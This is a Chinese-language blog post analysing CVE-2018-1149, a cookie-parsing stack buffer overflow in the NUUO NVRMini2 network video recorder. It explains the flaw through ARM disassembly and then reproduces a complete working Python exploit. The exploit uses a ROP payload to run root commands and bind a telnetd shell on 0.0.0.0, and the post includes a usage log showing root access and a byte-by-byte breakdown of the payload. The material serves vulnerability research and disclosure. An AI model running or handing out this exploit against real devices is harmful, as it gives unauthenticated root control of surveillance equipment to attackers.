CVE-2018-1149

NVRMini2

Posted by DC on November 5, 2018

CVE-2018-1149

漏洞概要:

	设备组件:网络视频录像机NVRMini2

	类型:未经身份验证的远程堆栈缓冲区溢出

	CVE:CVE-2018-1149

	漏洞类别:代码执行

漏洞成因:

	很多网络设备的  http://<target>/cgi-bin/cgi_system 是很多设备的 对外处理。

主要是通过cgi程序,调用linux里的shell脚本进行一些系统配置。

流程是这样的:

	1.页面表单提交到页面 x.cgi

	2.x.cgi 收到传递过来的参数后,生成调用 shell 脚本的命令 cmd

	3.调用 system( cmd ) 函数,执行命令,如果成功返回0,失败返回错误码

	4.根据 system( cmd ) 的执行结果,生成提示成功与失败的页面

正常通过cgi 调用,需进行远程用户身份验证, 系统验证身份验证的方法之一是将用户的PHPSESSID cookie中的会话标识符与存储在/ tmp /中的会话文件进行比较 。

#GET   http  cookie   data

ldr  r0,data_538c4  {0x8d294, "HTTP_COOKIE"}

bl   getenv

sub.s r7, r0,  #0

bep   0x536f0



#ret session  string   

bl  sub_534a4

sub.s  r7,  r0 ,  #0

beq    0x536f0



#session  format

mov     r3,	  r7

ldr        r1, data_538c8  {0x8d2a0, "%s%s"}

ldr        r2,  data_538cc  {0x8d2a8, "/tmp/sess_"}

mov     r0,  sp {var_128}

bl         sprinf

通过sprintf溢出

int sprintf(char *str, const char *format, ...)
   参数

str -- 这是指向一个字符数组的指针,该数组存储了 C 字符串。
format -- 这是字符串,包含了要被写入到字符串 str 的文本。它可以包含嵌入的 format 标签,format 标签可被随后的附加参数中指定的值替换,并按需求进行格式化。后面跟一些 % 占位的数据

C++中sprintf()函数的使用详解

etc:
char buf1[10] = "123456789";
char buf2[10] = {0};
char buf3[19] = "--abcdefghijklmn--";
sprintf(buf2, "test:%send", buf3);

正常的 buf3 > buf2 就会造成 buf 内容覆盖到 buf1

ldr r1, data_538c8 {0x8d2a0, “%s%s”}

ldr r2, data_538cc {0x8d2a8, “/tmp/sess_”}

mov r0, sp {var_128}

bl sprinf

sprintf(address,”%s%s”,“/tmp/sess_”,cookiedata)

在如上参数传递进行format 可以通过 数据进行 溢出

利用分析

版本:

  • 03.07.0000.0011
  • 03.08.0000.0005

地址

#### nvrmini2_enable_telnet.py : 漏洞利用进行telnet

Usage Example:
albinolobster@ubuntu:~$ telnet 172.20.10.52
Trying 172.20.10.52...
telnet: connect to address 172.20.10.52: Connection refused
telnet: Unable to connect to remote host
albinolobster@ubuntu:~$ python nvrmini2_enable_telnet.py 172.20.10.52 80
[+] Checking for a valid target...
[+] Valid target!
[+] Executing mount -t devpts devpts /dev/pts on 172.20.10.52:80...
[+] Executing /bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"& on 172.20.10.52:80...
[+] Success!
albinolobster@ubuntu:~$ telnet 172.20.10.52
Trying 172.20.10.52...
Connected to 172.20.10.52.
Escape character is '^]'.

root@test:/NUUO/bin# whoami                                                   
root

POC如下

import requests
import socket
import sys
 
##
# Exploit Title: NUUO NVRMini2 3.8 Enable Telnet
# Date: September 17, 2018
# Exploit Author: Jacob Baines
# Vendor Homepage: https://www.nuuo.com/
# Device: NRVMini2
# Software Link: https://www.nuuo.com/ProductNode.php?node=2
# Versions: 3.8.0 and below
# Tested Against: 03.07.0000.0011 and 03.08.0000.0005
# Tested on: Ubuntu and OSX
# CVE: CVE-2018-1149
# TRA: https://www.tenable.com/security/research/tra-2018-25
# Description:
#
# A stack buffer overflow exists in the cgi_system binary. The error occurs
# due to lack of bounds checking on the PHPSESSID value before and when
# it is passed to sprintf in order to generate the session id file name.
#
# As written, this exploit enables Telnet.
###

##
# Executes a command via the stack buffer overflow in cookie parsing. The command
# is executed via 'system' as root. The overlow logic is like so:
#
# address 1: 405e2e34 - load system into r3 and address 2 into lr
#
# .text:000D0E34 0F 48 BD E8                 LDMFD   SP!, {R0-R3,R11,LR}
# .text:000D0E38 1E FF 2F E1                 BX      LR
#
# address 2: 406037cc - load the system command into r0. Jump to system.
#
# .text:000F17CC 0D 00 A0 E1                 MOV     R0, SP
# .text:000F17D0 33 FF 2F E1                 BLX     R3
#
# [   address 1  ][       r0     ][      r1      ][      r2      ][  r3 system   ][      r11     ][  LR - addr2  ][ system command ]
# \x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40touch /tmp/lolwat
##
def stack_buffer_overflow(command, ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print '[+] Executing %s on %s:%s...' % (command, ip, port)
    sock.connect((ip, int(port)))
    exec_request = ('GET /cgi-bin/cgi_system?cmd=portCheck HTTP/1.1\r\n' +
                    'Host: ' + ip + ':' + port + '\r\n' +
                    'Accept: */*\r\n' +
                    'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' +
                    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' +
                    '\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command +
                    '\r\n\r\n')
    sock.sendall(exec_request)
    data = sock.recv(1024)
    sock.close()

    # We should get a 500 Internal error in response
    return data.find('500') != -1

##
# Quickly tries to grab the version of the target. If the target is
# using anything other than 3.7 or 3.8 then we'll bail out since
# haven't tested on any other targets
##
def check_target(ip, port):
    index = requests.get('http://' + ip + ':' + port + "/upgrade_handle.php?cmd=getcurrentinfo")
    return (index.text.find('<Titan>03.08') != -1 or index.text.find('<Titan>03.07') != -1)

if __name__ == "__main__":

    if (len(sys.argv) != 3):
        print "Usage: python nvrmini2_enable_telnet.py <ipv4 address> <port>"
        sys.exit(1)

    ip = sys.argv[1]
    port = sys.argv[2]

    if int(port) > 65535:
        print('[-] Invalid port parameter')
        sys.exit(0)

    if len(ip.split('.')) != 4:
        print('[-] Invalid IP address parameter')
        sys.exit(0)

    print '[+] Checking for a valid target...'
    if (check_target(ip, port) == False):
        print('[-] The target is not a NVRMini2 or its using an untested version.')
        sys.exit(0)
    print '[+] Valid target!'

    if (stack_buffer_overflow('mount -t devpts devpts /dev/pts', ip, port) == False):
        print('[-] Mount failed')
        sys.exit(0)

    if (stack_buffer_overflow('/bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"&', ip, port) == False):
        print('[-] telnetd bind failed')
        sys.exit(0)

    print('[+] Success!')

在构造请求时,如何进行针对sprintf 进行 构造十分重要。

在cookie解析中通过堆栈溢出进行命令执行,命令执行以system root 进行,

  address 1: 405e2e34 - load system into r3 and address 2 into lr #通过
 .text:000D0E34 0F 48 BD E8                 LDMFD   SP!, {R0-R3,R11,LR}  
 .text:000D0E38 1E FF 2F E1                 BX      LR

 address 2: 406037cc - load the system command into r0. Jump to system.

 .text:000F17CC 0D 00 A0 E1                 MOV     R0, SP
 .text:000F17D0 33 FF 2F E1                 BLX     R3

 [   address 1  ][ r0 ][      r1      ][ r2 ][  r3 system   ][ r11 ][  LR - addr2  ][ system command ]
 \x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40touch /tmp/lolwat

ARM汇编指令-STMFD和LDMFD

ARM指令B BL BLX BX区别

对构造的payload 进行分析

'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' +                    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' +
       '\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command +
                    '\r\n\r\n')
        
 通过 
982e6c010064b3878a4b793bfab8d2d2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD
170 字节消耗内存
直接覆盖
 [address 1]:\x34\x2e\x5e\x40
 [r0]:\xaa\xaa\xaa\xaa
 [r1]:\xbb\xbb\xbb\xbb
 [r2]:\xcc\xcc\xcc\xcc
 [r3 system]:\xfc\xbf\x54\x40   #system地址
 [r11]:\xee\xee\xee\xee
 [lr]\xcc\x37\x60\x40
触发 address 1 进行入数据栈如上
 .text:000D0E34 0F 48 BD E8                 LDMFD   SP!, {R0-R3,R11,LR}  
 .text:000D0E38 1E FF 2F E1                 BX      LR
跳转到:LR内存地址
 .text:000F17CC 0D 00 A0 E1                 MOV     R0, SP
 .text:000F17D0 33 FF 2F E1                 BLX     R3
跳转到R3 地址
执行  command

command命令主要为:

				mount -t devpts devpts /dev/pts  #挂载  -t 指定要挂载的设备上的文件系统类型  devpts: 虚拟文件系统   /dev/pts:伪终端

				/bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"&     开启telnet 

                                    telnet 程序通过 伪终端 对外进行通信

CUT.py 脚本 就是 基于此进行 的 设备操作 可以获得一些对应数据

同时也写成了pocsuite的验证模式见地址